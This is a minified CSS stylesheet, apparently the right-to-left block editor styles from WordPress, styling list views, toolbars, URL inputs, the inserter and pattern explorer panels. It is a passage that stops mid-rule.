.block-editor-list-view-block-select-button__sticky{line-height:0}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__images{display:flex}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image{background-size:cover;border-radius:1px;height:18px;width:18px}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image:not(:only-child){box-shadow:0 0 0 2px #fff}.block-editor-list-view-leaf .block-editor-list-view-block-select-button__image:not(:first-child){margin-right:-6px}.block-editor-list-view-leaf.is-selected .block-editor-list-view-block-select-button__image:not(:only-child){box-shadow:0 0 0 2px var(--wp-admin-theme-color)}.block-editor-list-view-draggable-chip{opacity:.8}.block-editor-list-view-appender__cell .block-editor-list-view-appender__container,.block-editor-list-view-appender__cell .block-editor-list-view-block__contents-container,.block-editor-list-view-block__contents-cell .block-editor-list-view-appender__container,.block-editor-list-view-block__contents-cell .block-editor-list-view-block__contents-container{display:flex}.block-editor-list-view__expander{cursor:pointer;height:24px;width:24px}.block-editor-list-view-leaf[aria-level] .block-editor-list-view__expander{margin-right:192px}.block-editor-list-view-leaf[aria-level="1"] .block-editor-list-view__expander{margin-right:0}.block-editor-list-view-leaf[aria-level="2"] .block-editor-list-view__expander{margin-right:24px}.block-editor-list-view-leaf[aria-level="3"] .block-editor-list-view__expander{margin-right:48px}.block-editor-list-view-leaf[aria-level="4"] .block-editor-list-view__expander{margin-right:72px}.block-editor-list-view-leaf[aria-level="5"] .block-editor-list-view__expander{margin-right:96px}.block-editor-list-view-leaf[aria-level="6"] .block-editor-list-view__expander{margin-right:120px}.block-editor-list-view-leaf[aria-level="7"] .block-editor-list-view__expander{margin-right:144px}.block-editor-list-view-leaf[aria-level="8"] .block-editor-list-view__expander{margin-right:168px}.block-editor-list-view-leaf .block-editor-list-view__expander{visibility:hidden}.block-editor-list-view-leaf[data-expanded=true] .block-editor-list-view__expander svg{transform:rotate(-90deg);visibility:visible}@media not (prefers-reduced-motion){.block-editor-list-view-leaf[data-expanded=true] .block-editor-list-view__expander svg{transition:transform .2s ease}}.block-editor-list-view-leaf[data-expanded=false] .block-editor-list-view__expander svg{transform:rotate(0deg);visibility:visible}@media not (prefers-reduced-motion){.block-editor-list-view-leaf[data-expanded=false] .block-editor-list-view__expander svg{transition:transform .2s ease}}.block-editor-list-view-drop-indicator{pointer-events:none}.block-editor-list-view-drop-indicator .block-editor-list-view-drop-indicator__line{background:var(--wp-admin-theme-color);border-radius:4px;height:4px}.block-editor-list-view-drop-indicator--preview{pointer-events:none}.block-editor-list-view-drop-indicator--preview .components-popover__content{overflow:hidden!important}.block-editor-list-view-drop-indicator--preview .block-editor-list-view-drop-indicator__line{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-radius:4px;height:32px;overflow:hidden}.block-editor-list-view-drop-indicator--preview .block-editor-list-view-drop-indicator__line--darker{background:rgba(var(--wp-admin-theme-color--rgb),.09)}.block-editor-list-view-placeholder{height:32px;margin:0;padding:0}.list-view-appender .block-editor-inserter__toggle{background-color:#1e1e1e;color:#fff;height:24px;margin:8px 24px 0 0;padding:0}.list-view-appender .block-editor-inserter__toggle.has-icon.is-next-40px-default-size{min-width:24px}.list-view-appender .block-editor-inserter__toggle:focus,.list-view-appender .block-editor-inserter__toggle:hover{background:var(--wp-admin-theme-color);color:#fff}.list-view-appender__description{display:none}.block-editor-media-placeholder__url-input-form{min-width:260px}@media (min-width:600px){.block-editor-media-placeholder__url-input-form{width:300px}}.block-editor-media-placeholder__url-input-form input{direction:ltr}.modal-open .block-editor-media-replace-flow__options{display:none}.block-editor-media-replace-flow__indicator{margin-right:4px}.block-editor-media-replace-flow__media-upload-menu:not(:empty)+.block-editor-media-flow__url-input{border-top:1px solid #1e1e1e;margin-top:8px;padding-bottom:8px}.block-editor-media-flow__url-input{margin-left:-8px;margin-right:-8px;padding:16px}.block-editor-media-flow__url-input .block-editor-media-replace-flow__image-url-label{display:block;margin-bottom:8px;top:16px}.block-editor-media-flow__url-input .block-editor-link-control{width:300px}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-url-input{margin:0;padding:0}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item-info,.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item-title{max-width:200px;white-space:nowrap}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__tools{justify-content:flex-end;padding:16px var(--wp-admin-border-width-focus) var(--wp-admin-border-width-focus)}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-item.is-current{padding:0;width:auto}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-input.block-editor-link-control__search-input input[type=text]{margin:0;width:100%}.block-editor-media-flow__url-input .block-editor-link-control .block-editor-link-control__search-actions{padding:8px 0 0}.block-editor-media-flow__error{max-width:255px;padding:0 20px 20px}.block-editor-media-flow__error .components-with-notices-ui{max-width:255px}.block-editor-media-flow__error .components-with-notices-ui .components-notice__content{overflow:hidden;word-wrap:break-word}.block-editor-media-flow__error .components-with-notices-ui .components-notice__dismiss{left:10px;position:absolute}.block-editor-multi-selection-inspector__card{padding:16px}.block-editor-multi-selection-inspector__card-title{font-weight:500}.block-editor-multi-selection-inspector__card .block-editor-block-icon{height:24px;margin-right:-2px;padding:0 3px;width:36px}.block-editor-responsive-block-control{border-bottom:1px solid #ccc;margin-bottom:28px;padding-bottom:14px}.block-editor-responsive-block-control:last-child{border-bottom:0;padding-bottom:0}.block-editor-responsive-block-control__title{margin:0 -3px .6em 0}.block-editor-responsive-block-control__label{font-weight:600;margin-bottom:.6em;margin-right:-3px}.block-editor-responsive-block-control__inner{margin-right:-1px}.block-editor-responsive-block-control__toggle{margin-right:1px}.block-editor-responsive-block-control .components-base-control__help{border:0;clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal!important}.components-popover.block-editor-rich-text__inline-format-toolbar{z-index:99998}.components-popover.block-editor-rich-text__inline-format-toolbar .components-popover__content{border-radius:2px;box-shadow:none;margin-bottom:8px;min-width:auto;outline:none;width:auto}.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar{border-radius:2px}.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar-group{background:none}.components-popover.block-editor-rich-text__inline-format-toolbar .components-dropdown-menu__toggle,.components-popover.block-editor-rich-text__inline-format-toolbar .components-toolbar__control{min-height:48px;min-width:48px;padding-left:12px;padding-right:12px}.block-editor-rich-text__inline-format-toolbar-group .components-dropdown-menu__toggle{justify-content:center}.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon{width:auto}.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon svg{display:none}.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button.has-icon:after{content:attr(aria-label)}.block-editor-skip-to-selected-block{position:absolute;top:-9999em}.block-editor-skip-to-selected-block:focus{background:#f1f1f1;font-size:14px;font-weight:600;z-index:100000}.block-editor-tabbed-sidebar{background-color:#fff;display:flex;flex-direction:column;flex-grow:1;height:100%;overflow:hidden}.block-editor-tabbed-sidebar__tablist-and-close-button{border-bottom:1px solid #ddd;display:flex;justify-content:space-between;padding-left:8px}.block-editor-tabbed-sidebar__close-button{align-self:center;background:#fff;order:1}.block-editor-tabbed-sidebar__tablist{margin-bottom:-1px}.block-editor-tabbed-sidebar__tabpanel{display:flex;flex-direction:column;flex-grow:1;overflow-y:auto;scrollbar-gutter:auto}.block-editor-tool-selector__help{border-top:1px solid #ddd;color:#757575;margin:8px -8px -8px;min-width:280px;padding:16px}.block-editor-tool-selector__menu .components-menu-item__info{margin-right:36px;text-align:right}.block-editor-block-list__block .block-editor-url-input,.block-editor-url-input,.components-popover .block-editor-url-input{flex-grow:1;padding:1px;position:relative}@media (min-width:600px){.block-editor-block-list__block .block-editor-url-input,.block-editor-url-input,.components-popover .block-editor-url-input{min-width:300px;width:auto}}.block-editor-block-list__block .block-editor-url-input.is-full-width,.block-editor-block-list__block .block-editor-url-input.is-full-width__suggestions,.block-editor-url-input.is-full-width,.block-editor-url-input.is-full-width__suggestions,.components-popover .block-editor-url-input.is-full-width,.components-popover .block-editor-url-input.is-full-width__suggestions{width:100%}.block-editor-block-list__block .block-editor-url-input .components-spinner,.block-editor-url-input .components-spinner,.components-popover .block-editor-url-input .components-spinner{left:8px;margin:0;position:absolute;top:calc(50% - 8px)}.block-editor-url-input__suggestions{max-height:200px;overflow-y:auto;padding:4px 0;width:302px}@media not (prefers-reduced-motion){.block-editor-url-input__suggestions{transition:all .15s ease-in-out}}.block-editor-url-input .components-spinner,.block-editor-url-input__suggestions{display:none}@media (min-width:600px){.block-editor-url-input .components-spinner,.block-editor-url-input__suggestions{display:grid}}.block-editor-url-input__suggestion{background:#fff;border:none;box-shadow:none;color:#757575;cursor:pointer;display:block;font-size:13px;height:auto;min-height:36px;text-align:right;width:100%}.block-editor-url-input__suggestion:hover{background:#ddd}.block-editor-url-input__suggestion.is-selected,.block-editor-url-input__suggestion:focus{background:var(--wp-admin-theme-color-darker-20);color:#fff;outline:none}.components-toolbar-group>.block-editor-url-input__button,.components-toolbar>.block-editor-url-input__button{position:inherit}.block-editor-url-input__button .block-editor-url-input__back{margin-left:4px;overflow:visible}.block-editor-url-input__button .block-editor-url-input__back:after{background:#ddd;content:"";display:block;height:24px;left:-1px;position:absolute;width:1px}.block-editor-url-input__button-modal{background:#fff;border:1px solid #ddd;box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003}.block-editor-url-input__button-modal-line{align-items:flex-start;display:flex;flex-direction:row;flex-grow:1;flex-shrink:1;min-width:0}.block-editor-url-popover__additional-controls{border-top:1px solid #1e1e1e;padding:8px}.block-editor-url-popover__input-container{padding:8px}.block-editor-url-popover__row{align-items:center;display:flex;gap:4px}.block-editor-url-popover__row>:not(.block-editor-url-popover__settings-toggle){flex-grow:1;gap:8px}.block-editor-url-popover__additional-controls .components-button.has-icon{height:auto;padding-left:8px;padding-right:8px;text-align:right}.block-editor-url-popover__additional-controls .components-button.has-icon>svg{margin-left:8px}.block-editor-url-popover__settings-toggle{flex-shrink:0}.block-editor-url-popover__settings-toggle[aria-expanded=true] .dashicon{transform:rotate(-180deg)}.block-editor-url-popover__settings{border-top:1px solid #1e1e1e;display:block;padding:16px}.block-editor-url-popover__link-editor,.block-editor-url-popover__link-viewer{display:flex}.block-editor-url-popover__link-viewer-url{align-items:center;display:flex;flex-grow:1;flex-shrink:1;margin-left:8px;max-width:350px;min-width:150px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.block-editor-url-popover__link-viewer-url.has-invalid-link{color:#cc1818}.block-editor-url-popover__expand-on-click{align-items:center;display:flex;min-width:350px;white-space:nowrap}.block-editor-url-popover__expand-on-click .text{flex-grow:1}.block-editor-url-popover__expand-on-click .text p{line-height:16px;margin:0}.block-editor-url-popover__expand-on-click .text p.description{color:#757575;font-size:12px}.block-editor-hooks__block-hooks .components-toggle-control .components-h-stack .components-h-stack{flex-direction:row}.block-editor-hooks__block-hooks .block-editor-hooks__block-hooks-helptext{color:#757575;font-size:12px;margin-bottom:16px}div.block-editor-bindings__panel{grid-template-columns:repeat(auto-fit,minmax(100%,1fr))}div.block-editor-bindings__panel button:hover .block-editor-bindings__item span{color:inherit}.border-block-support-panel .single-column{grid-column:span 1}.color-block-support-panel .block-editor-contrast-checker{grid-column:span 2;margin-top:16px}.color-block-support-panel .block-editor-contrast-checker .components-notice__content{margin-left:0}.color-block-support-panel.color-block-support-panel .color-block-support-panel__inner-wrapper{row-gap:0}.color-block-support-panel .block-editor-tools-panel-color-gradient-settings__item.first{margin-top:0}.dimensions-block-support-panel .single-column{grid-column:span 1}.block-editor-hooks__layout-constrained .components-base-control{margin-bottom:0}.block-editor-hooks__layout-constrained-helptext{color:#757575;font-size:12px;margin-bottom:0}.block-editor-hooks__flex-layout-justification-controls,.block-editor-hooks__flex-layout-orientation-controls{margin-bottom:12px}.block-editor-hooks__flex-layout-justification-controls legend,.block-editor-hooks__flex-layout-orientation-controls legend{margin-bottom:8px}.block-editor__spacing-visualizer{border-color:var(--wp-admin-theme-color);border-style:solid;bottom:0;box-sizing:border-box;left:0;opacity:.5;pointer-events:none;position:absolute;right:0;top:0}.typography-block-support-panel .single-column{grid-column:span 1}.block-editor-block-toolbar{display:flex;flex-grow:1;overflow-x:auto;overflow-y:hidden;position:relative;width:100%}@media not (prefers-reduced-motion){.block-editor-block-toolbar{transition:border-color .1s linear,box-shadow .1s linear}}@media (min-width:600px){.block-editor-block-toolbar{overflow:inherit}}.block-editor-block-toolbar .components-toolbar,.block-editor-block-toolbar .components-toolbar-group{background:none;border:0;border-left:1px solid #ddd;margin-bottom:-1px;margin-top:-1px}.block-editor-block-toolbar.is-connected .block-editor-block-switcher .components-button:before{background:color-mix(in srgb,var(--wp-block-synced-color) 10%,#0000);border-radius:2px}.block-editor-block-toolbar.is-connected .block-editor-block-switcher .components-button .block-editor-block-icon,.block-editor-block-toolbar.is-connected .components-toolbar-button.block-editor-block-switcher__no-switcher-icon:disabled .block-editor-block-icon.has-colors,.block-editor-block-toolbar.is-synced .block-editor-block-switcher .components-button .block-editor-block-icon,.block-editor-block-toolbar.is-synced .components-toolbar-button.block-editor-block-switcher__no-switcher-icon:disabled .block-editor-block-icon.has-colors{color:var(--wp-block-synced-color)}.block-editor-block-toolbar:has(>:last-child:empty)>:nth-last-child(2),.block-editor-block-toolbar:has(>:last-child:empty)>:nth-last-child(2) .components-toolbar,.block-editor-block-toolbar:has(>:last-child:empty)>:nth-last-child(2) .components-toolbar-group,.block-editor-block-toolbar>:last-child,.block-editor-block-toolbar>:last-child .components-toolbar,.block-editor-block-toolbar>:last-child .components-toolbar-group{border-left:none}.block-editor-block-toolbar .components-toolbar-group:empty{display:none}.block-editor-block-contextual-toolbar{background-color:#fff;display:block;flex-shrink:3;position:sticky;top:0;width:100%;z-index:31}.block-editor-block-contextual-toolbar.components-accessible-toolbar{border:none;border-radius:0}.block-editor-block-contextual-toolbar.is-unstyled{box-shadow:0 1px 0 0 rgba(0,0,0,.133)}.block-editor-block-contextual-toolbar .block-editor-block-toolbar{overflow:auto;overflow-y:hidden;scrollbar-color:#e0e0e0 #0000;scrollbar-gutter:stable both-edges;scrollbar-gutter:auto;scrollbar-width:thin;will-change:transform}.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar{height:12px;width:12px}.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar-track{background-color:initial}.block-editor-block-contextual-toolbar .block-editor-block-toolbar::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:#e0e0e0;border:3px solid #0000;border-radius:8px}.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus-within::-webkit-scrollbar-thumb,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus::-webkit-scrollbar-thumb,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:hover::-webkit-scrollbar-thumb{background-color:#949494}.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:focus-within,.block-editor-block-contextual-toolbar .block-editor-block-toolbar:hover{scrollbar-color:#949494 #0000}@media (hover:none){.block-editor-block-contextual-toolbar .block-editor-block-toolbar{scrollbar-color:#949494 #0000}}.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child .components-toolbar-group:after,.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child .components-toolbar:after,.block-editor-block-contextual-toolbar .block-editor-block-toolbar>:last-child:after{display:none}.block-editor-block-contextual-toolbar>.block-editor-block-toolbar{flex-grow:0;width:auto}.block-editor-block-contextual-toolbar .block-editor-block-parent-selector{margin-bottom:-1px;margin-top:-1px;position:relative}.block-editor-block-contextual-toolbar .block-editor-block-parent-selector:after{align-items:center;background-color:#1e1e1e;border-radius:100%;content:"";display:inline-flex;height:2px;left:0;position:absolute;top:15px;width:2px}.block-editor-block-toolbar__block-controls .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon,.block-editor-block-toolbar__block-controls .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{margin:0!important;width:24px!important}.block-editor-block-toolbar__block-controls .components-toolbar-group{padding:0}.block-editor-block-toolbar .components-toolbar,.block-editor-block-toolbar .components-toolbar-group,.block-editor-rich-text__inline-format-toolbar-group .components-toolbar,.block-editor-rich-text__inline-format-toolbar-group .components-toolbar-group{display:flex;flex-wrap:nowrap}.block-editor-block-toolbar__slot{display:inline-flex}.show-icon-labels .block-editor-block-toolbar .components-button.has-icon{width:auto}.show-icon-labels .block-editor-block-toolbar .components-button.has-icon svg{display:none}.show-icon-labels .block-editor-block-toolbar .components-button.has-icon:after{content:attr(aria-label);font-size:12px}.show-icon-labels .components-accessible-toolbar .components-toolbar-group>div:first-child:last-child>.components-button.has-icon{padding-left:6px;padding-right:6px}.show-icon-labels .block-editor-block-switcher .components-dropdown-menu__toggle .block-editor-block-icon,.show-icon-labels .block-editor-block-switcher__no-switcher-icon .block-editor-block-icon{height:0!important;min-width:0!important;width:0!important}.show-icon-labels .block-editor-block-parent-selector .block-editor-block-parent-selector__button{border-bottom-left-radius:0;border-top-left-radius:0;padding-left:12px;padding-right:12px;text-wrap:nowrap}.show-icon-labels .block-editor-block-parent-selector .block-editor-block-parent-selector__button .block-editor-block-icon{width:0}.show-icon-labels .block-editor-block-mover .block-editor-block-mover__move-button-container{position:relative;width:auto}@media (min-width:600px){.show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container:before{background:#e0e0e0;content:"";height:1px;margin-top:-.5px;position:absolute;right:50%;top:50%;transform:translate(50%);width:100%}}@media (min-width:782px){.show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container:before{background:#1e1e1e}}.show-icon-labels .block-editor-block-mover.is-horizontal .block-editor-block-mover-button,.show-icon-labels .block-editor-block-mover.is-horizontal .block-editor-block-mover__move-button-container{padding-left:6px;padding-right:6px}.show-icon-labels .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover-button{padding-left:8px;padding-right:8px}.show-icon-labels .block-editor-block-toolbar__block-controls .block-editor-block-mover{border-right:1px solid #ddd;margin-left:-6px;margin-right:6px;white-space:nowrap}.show-icon-labels .block-editor-block-mover .block-editor-block-mover__drag-handle.has-icon{padding-left:12px;padding-right:12px}.show-icon-labels .block-editor-block-contextual-toolbar .block-editor-block-mover.is-horizontal .block-editor-block-mover-button.block-editor-block-mover-button{width:auto}.show-icon-labels .components-toolbar,.show-icon-labels .components-toolbar-group{flex-shrink:1}.show-icon-labels .block-editor-rich-text__inline-format-toolbar-group .components-button+.components-button{margin-right:6px}.block-editor-block-toolbar-change-design-content-wrapper{padding:12px;width:320px}.block-editor-block-toolbar-change-design-content-wrapper .block-editor-block-patterns-list{display:grid;grid-template-columns:1fr 1fr;grid-gap:12px}.block-editor-block-toolbar-change-design-content-wrapper .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{margin-bottom:0}.block-editor-block-toolbar-change-design-content-wrapper .block-editor-block-patterns-list .block-editor-inserter__media-list__list-item{min-height:100px}.block-editor-inserter{background:none;border:none;display:inline-block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:0;padding:0}@media (min-width:782px){.block-editor-inserter{position:relative}}.block-editor-inserter__main-area{gap:16px;height:100%;position:relative}.block-editor-inserter__main-area.show-as-tabs{gap:0}@media (min-width:782px){.block-editor-inserter__main-area .block-editor-tabbed-sidebar{width:350px}}.block-editor-inserter__popover.is-quick .components-popover__content{border:none;box-shadow:0 1px 1px #00000008,0 1px 2px #00000005,0 3px 3px #00000005,0 4px 4px #00000003;outline:none}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>*{border-left:1px solid #ccc;border-right:1px solid #ccc}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>:first-child{border-radius:4px 4px 0 0;border-top:1px solid #ccc}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>:last-child{border-bottom:1px solid #ccc;border-radius:0 0 4px 4px}.block-editor-inserter__popover.is-quick .components-popover__content .block-editor-inserter__quick-inserter>.components-button{border:1px solid #1e1e1e}.block-editor-inserter__popover .block-editor-inserter__menu{margin:-12px}.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__tablist{top:60px}.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__main-area{height:auto;overflow:visible}.block-editor-inserter__popover .block-editor-inserter__menu .block-editor-inserter__preview-container{display:none}.block-editor-inserter__toggle.components-button{align-items:center;border:none;cursor:pointer;display:inline-flex;outline:none;padding:0}@media not (prefers-reduced-motion){.block-editor-inserter__toggle.components-button{transition:color .2s ease}}.block-editor-inserter__menu{height:100%;overflow:visible;position:relative}@media (min-width:782px){.block-editor-inserter__menu.show-panel{width:630px}}.block-editor-inserter__inline-elements{margin-top:-1px}.block-editor-inserter__menu.is-bottom:after{border-bottom-color:#fff}.components-popover.block-editor-inserter__popover{z-index:99999}.block-editor-inserter__search{padding:16px 16px 0}.block-editor-inserter__no-tab-container{flex-grow:1;overflow-y:auto;position:relative}.block-editor-inserter__panel-header{align-items:center;display:inline-flex;padding:16px 16px 0;position:relative}.block-editor-inserter__panel-content{padding:16px}.block-editor-inserter__panel-title,.block-editor-inserter__panel-title button{color:#757575;font-size:11px;font-weight:500;margin:0 0 0 12px;text-transform:uppercase}.block-editor-inserter__panel-dropdown select.components-select-control__input.components-select-control__input.components-select-control__input{height:36px;line-height:36px}.block-editor-inserter__panel-dropdown select{border:none}.block-editor-inserter__reusable-blocks-panel{position:relative;text-align:left}.block-editor-inserter__no-results,.block-editor-inserter__patterns-loading{padding:32px;text-align:center}.block-editor-inserter__child-blocks{padding:0 16px}.block-editor-inserter__parent-block-header{align-items:center;display:flex}.block-editor-inserter__parent-block-header h2{font-size:13px}.block-editor-inserter__parent-block-header .block-editor-block-icon{margin-left:8px}.block-editor-inserter__preview-container__popover{top:16px!important}.block-editor-inserter__preview-container{display:none;max-height:calc(100% - 32px);overflow-y:hidden;padding:16px;width:280px}@media (min-width:782px){.block-editor-inserter__preview-container{display:block}}.block-editor-inserter__preview-container .block-editor-inserter__media-list__list-item{height:100%}.block-editor-inserter__preview-container .block-editor-block-card{padding-bottom:4px;padding-left:0;padding-right:0}.block-editor-inserter__insertable-blocks-at-selection{border-bottom:1px solid #e0e0e0}.block-editor-inserter__block-patterns-tabs-container,.block-editor-inserter__media-tabs-container{display:flex;flex-direction:column;flex-grow:1;justify-content:space-between;padding:16px}.block-editor-inserter__category-tablist{margin-bottom:8px}.block-editor-inserter__category-panel{display:flex;flex-direction:column;outline:1px solid #0000;padding:0 16px}@media (min-width:782px){.block-editor-inserter__category-panel{background:#f0f0f0;border-right:1px solid #e0e0e0;border-top:1px solid #e0e0e0;height:calc(100% + 1px);padding:0;position:absolute;right:350px;top:-1px;width:280px}.block-editor-inserter__category-panel .block-editor-block-patterns-list,.block-editor-inserter__category-panel .block-editor-inserter__media-list{padding:0 24px 16px}}.block-editor-inserter__patterns-category-panel-header{padding:8px 0}@media (min-width:782px){.block-editor-inserter__patterns-category-panel-header{padding:8px 24px}}.block-editor-inserter__patterns-category-no-results{margin-top:24px}.block-editor-inserter__patterns-filter-help{border-top:1px solid #ddd;color:#757575;min-width:280px;padding:16px}.block-editor-block-patterns-list,.block-editor-inserter__media-list{flex-grow:1;height:100%;overflow-y:auto}.block-editor-inserter__preview-content{align-items:center;background:#f0f0f0;display:grid;flex-grow:1}.block-editor-inserter__preview-content-missing{align-items:center;background:#f0f0f0;border-radius:2px;color:#757575;display:flex;flex:1;justify-content:center;min-height:144px}.block-editor-inserter__tips{border-top:1px solid #ddd;flex-shrink:0;padding:16px;position:relative}.block-editor-inserter__quick-inserter{max-width:100%;width:100%}@media (min-width:782px){.block-editor-inserter__quick-inserter{width:350px}}.block-editor-inserter__quick-inserter-results .block-editor-inserter__panel-header{float:right;height:0;padding:0}.block-editor-inserter__quick-inserter.has-expand .block-editor-inserter__panel-content,.block-editor-inserter__quick-inserter.has-search .block-editor-inserter__panel-content{padding:16px}.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list{display:grid;grid-template-columns:1fr 1fr;grid-gap:8px}.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{margin-bottom:0}.block-editor-inserter__quick-inserter-patterns .block-editor-block-patterns-list .block-editor-inserter__media-list__list-item{min-height:100px}.block-editor-inserter__quick-inserter-separator{border-top:1px solid #ddd}.block-editor-inserter__popover.is-quick>.components-popover__content{padding:0}.block-editor-inserter__quick-inserter-expand.components-button{background:#1e1e1e;border-radius:0;color:#fff;display:block;width:100%}.block-editor-inserter__quick-inserter-expand.components-button:hover{color:#fff}.block-editor-inserter__quick-inserter-expand.components-button:active{color:#ccc}.block-editor-inserter__quick-inserter-expand.components-button.components-button:focus:not(:disabled){background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);box-shadow:none}.block-editor-block-patterns-explorer__sidebar{bottom:0;overflow-x:visible;overflow-y:scroll;padding:24px 32px 32px;position:absolute;right:0;top:72px;width:280px}.block-editor-block-patterns-explorer__sidebar__categories-list__item{display:block;height:48px;text-align:right;width:100%}.block-editor-block-patterns-explorer__search{margin-bottom:32px}.block-editor-block-patterns-explorer__search-results-count{padding-bottom:32px}.block-editor-block-patterns-explorer__list{margin-right:280px;padding:24px 0 32px}.block-editor-block-patterns-explorer__list .block-editor-patterns__sync-status-filter .components-input-control__container{width:380px}.block-editor-block-patterns-explorer .block-editor-block-patterns-list{display:grid;grid-gap:32px;grid-template-columns:repeat(1,1fr);margin-bottom:16px}@media (min-width:1080px){.block-editor-block-patterns-explorer .block-editor-block-patterns-list{grid-template-columns:repeat(2,1fr)}}@media (min-width:1440px){.block-editor-block-patterns-explorer .block-editor-block-patterns-list{grid-template-columns:repeat(3,1fr)}}.block-editor-block-patterns-explorer .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{min-height:240px}.block-editor-block-patterns-explorer .block-editor-block-patterns-list .block-editor-inserter__media-list__list-item{height:inherit;max-height:800px;min-height:100px}.components-heading.block-editor-inserter__patterns-category-panel-title{font-weight:500}.block-editor-inserter__media-library-button.components-button,.block-editor-inserter__patterns-explore-button.components-button{justify-content:center;margin-top:16px;padding:16px;width:100%}.block-editor-inserter__media-panel{display:flex;flex-direction:column;min-height:100%;padding:0 16px}@media (min-width:782px){.block-editor-inserter__media-panel{padding:0}}.block-editor-inserter__media-panel .block-editor-inserter__media-panel-spinner{align-items:center;display:flex;flex:1;height:100%;justify-content:center}.block-editor-inserter__media-panel .block-editor-inserter__media-panel-search{margin-bottom:24px}@media (min-width:782px){.block-editor-inserter__media-panel .block-editor-inserter__media-panel-search{margin-bottom:0;padding:16px 24px}.block-editor-inserter__media-panel .block-editor-inserter__media-panel-search:not(:focus-within){--wp-components-color-background:#fff}}.block-editor-inserter__media-list__list-item{cursor:pointer;margin-bottom:24px;position:relative}.block-editor-inserter__media-list__list-item.is-placeholder{min-height:100px}.block-editor-inserter__media-list__list-item[draggable=true] .block-editor-inserter__media-list__list-item{cursor:grab}.block-editor-inserter__media-list__list-item.is-hovered .block-editor-inserter__media-list__item-preview>*{outline-color:#0000004d}.block-editor-inserter__media-list__list-item.is-hovered .block-editor-inserter__media-list__item-preview-options>button{display:block}.block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options{left:8px;position:absolute;top:8px}.block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button{background:#fff;display:none}.block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button.is-opened,.block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button:focus{display:block}.block-editor-inserter__media-list__list-item .block-editor-inserter__media-list__item-preview-options>button:hover{box-shadow:inset 0 0 0 2px #fff,0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:2px solid #0000}.block-editor-inserter__media-list__item{height:100%}.block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview{align-items:center;border-radius:2px;display:flex;overflow:hidden}.block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview>*{margin:0 auto;max-width:100%;outline:1px solid #0000001a;outline-offset:-1px}.block-editor-inserter__media-list__item .block-editor-inserter__media-list__item-preview .block-editor-inserter__media-list__item-preview-spinner{align-items:center;background:#ffffffb3;display:flex;height:100%;justify-content:center;pointer-events:none;position:absolute;width:100%}.block-editor-inserter__media-list__item:focus .block-editor-inserter__media-list__item-preview>*{outline-color:var(--wp-admin-theme-color);outline-offset:calc(var(--wp-admin-border-width-focus)*-1);outline-width:var(--wp-admin-border-width-focus)}@media not (prefers-reduced-motion){.block-editor-inserter__media-list__item:focus .block-editor-inserter__media-list__item-preview>*{transition:outline .1s linear}}.block-editor-inserter__media-list__item-preview-options__popover .components-menu-item__button .components-menu-item__item{min-width:auto}.block-editor-inserter__mobile-tab-navigation{height:100%;padding:16px}.block-editor-inserter__mobile-tab-navigation>*{height:100%}@media (min-width:600px){.block-editor-inserter-media-tab-media-preview-inserter-external-image-modal{max-width:480px}}.block-editor-inserter-media-tab-media-preview-inserter-external-image-modal p{margin:0}.block-editor-inserter__hint{margin:16px 16px 0}.block-editor-patterns__sync-status-filter .components-input-control__container select.components-select-control__input{height:40px}.block-editor-inserter__pattern-panel-placeholder{display:none}.block-editor-inserter__menu.is-zoom-out{display:flex}@media 